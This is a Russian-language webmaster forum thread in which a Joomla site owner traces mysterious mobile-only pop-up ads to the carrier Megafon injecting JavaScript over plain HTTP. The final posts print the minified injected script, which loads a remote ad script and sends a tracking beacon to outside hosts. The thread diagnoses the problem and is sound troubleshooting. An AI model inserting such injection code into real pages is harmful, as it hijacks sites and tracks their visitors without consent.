Скрытая реклама на сайте

Sam18
На сайте с 14.11.2012
Offline
41
1931

Здравствуйте. Прошу помощи.

На joomla 3.6 после установки компонента появилась скрытая реклама, которая отображается только на мобильных устройствах и не каждый раз (у сайта адаптивный дизайн). Периодически при появлении объявления (всплывающего) выскакивает на странице сайте вот такой код:

fr_13_1.onresize = function(){ frm=top.document.getElementById('div-mb-native-1-47').getElementsByTagName('iframe'); frmh=frm[1].height; frm[1].style.removeProperty('height');frm[1].style.setProperty('height',frmh+'px','important'); frmh=frm[1].width; frm[1].style.removeProperty('width');frm[1].style.setProperty('width',frmh+'px','important'); } ; googletag.cmd.push(function() { googletag.display('div-mb-native-1-47' ); });

Реклама

Как я понимаю я поймал вирус, который периодически показывает рекламу от Google Adwords. Найти его в файлах сайта не смог...

Прошу помочь с решение проблемы.

Спасибо!

Samail
На сайте с 10.05.2007
Offline
361
#1

В файлах он может зашифрован быть, для начала вот этим проверь: https://revisium.com/ai/

Sam18
На сайте с 14.11.2012
Offline
41
#2
Samail:
В файлах он может зашифрован быть, для начала вот этим проверь: https://revisium.com/ai/

Вот только что попробовал. Ругается на только на один файл, вот с таким кодом:

function textVersion($html){

$html = preg_replace('# +#',' ',$html);
$html = str_replace(array("\n","\r","\t"),'',$html);
$removeScript = "#< *script(?:(?!< */ *script *>).)*< */ *script *>#isU";
$removeStyle = "#< *style(?:(?!< */ *style *>).)*< */ *style *>#isU";
$removeStrikeTags = '#< *strike(?:(?!< */ *strike *>).)*< */ *strike *>#iU';
$replaceByTwoReturnChar = '#< *(h1|h2)[^>]*>#Ui';
$replaceByStars = '#< *li[^>]*>#Ui';
$replaceByReturnChar1 = '#< */ *(li|td|tr|div|p)[^>]*> *< *(li|td|tr|div|p)[^>]*>#Ui';
$replaceByReturnChar = '#< */? *(br|p|h1|h2|h3|li|ul|h4|h5|h6|tr|td|div)[^>]*>#Ui';
$replaceLinks = '/< *a[^>]*href *= *"([^"]*)"[^>]*>(.*)< *\/ *a *>/Uis';
$text = preg_replace(array($removeScript,$removeStyle,$removeStrikeTags,$replaceByTwoReturnChar,$replaceByStars,$replaceByReturnChar1,$replaceByReturnChar,$replaceLinks),array('','','',"\n\n","\n* ","\n","\n",'${2} ( ${1} )'),$html);
$text = str_replace(array(" ","&nbsp;"),' ',strip_tags($text));
$text = trim(@html_entity_decode($text,ENT_QUOTES,'UTF-8'));
$text = preg_replace('# +#',' ',$text);
$text = preg_replace('#\n *\n\s+#',"\n\n",$text);
return $text;
}
Samail
На сайте с 10.05.2007
Offline
361
#3

Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.

---------- Добавлено 10.04.2018 в 22:16 ----------

Или из дампа сайт восстанови если имеется.

Sam18
На сайте с 14.11.2012
Offline
41
#4
Samail:
Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.

Спасибо большое, буду пробовать!

SeVlad
На сайте с 03.11.2008
Offline
1609
#5
Sam18:
Ругается на только на один файл, вот с таким кодом:

Не расшифровывал, но по виду - гадость. Нормальный код (и кодер) такого себе не позволит.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
Sam18
На сайте с 14.11.2012
Offline
41
#6
Samail:
Не это не то. Удали вообще тот компонент, а потом проверь все файлы которые изменились с момента его установки.

---------- Добавлено 10.04.2018 в 22:16 ----------

Или из дампа сайт восстанови если имеется.

Разобрался я.....Мегафон подменяет js скрипты при использовании мобильного интернета (только по http). Вставляет вот такой код:

!function(){function e(e){var n="",t="?";for(var r in e){var o=e[r],a="boolean"==typeof o?o?r:null:o;a&&(n+=t+"cv[]="+encodeURIComponent(a),t="&")}(new Image).src="http://d.mobilebanner.ru/p.gif"+n}function n(){try{return window.self!==window.top}catch(e){return!0}}function t(){var e=document.getElementsByTagName("head")[0],n=document.createElement("script");n.src="http://p.mobilebanner.ru/ad/base.js?",n.type="text/javascript",e.appendChild(n)}function r(e){c.parentNode.insertBefore(e,c.nextSibling)}function o(e){document.write(e.outerHTML)}function a(){for(var e=document.createElement("script"),n=Array.prototype.slice.call(c.attributes),t=0;t<n.length;t++)e.setAttribute(n[t].nodeName,n[t].nodeValue);return e.src="http://mypizza-1.ru/media/j2store/js/j2store.namespace.js?",e}var c=document.currentScript||document.scripts[document.scripts.length-1],i=a();c.async||c.defer?r(i):o(i);var d,u=n();window.__qsrad||u?d={iframe:u,bannerAlready:window.__qsrad}:(window.__qsrad=1,d={bannerShow:!0},t()),e(d)}();

Получается что эта реклама привязана к номеру телефона, и чтобы отключить показ баннерной рекламы от мегафона и его партнеров при использовании мобильного интернета нужно идти в салон или звонить в call центр.

Вот такой вот ......Мегафон....Из-за него два дня впустую.....

SeVlad
На сайте с 03.11.2008
Offline
1609
#7
Sam18:
Мегафон

/ru/forum/comment/15513392

и не только мегафон.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий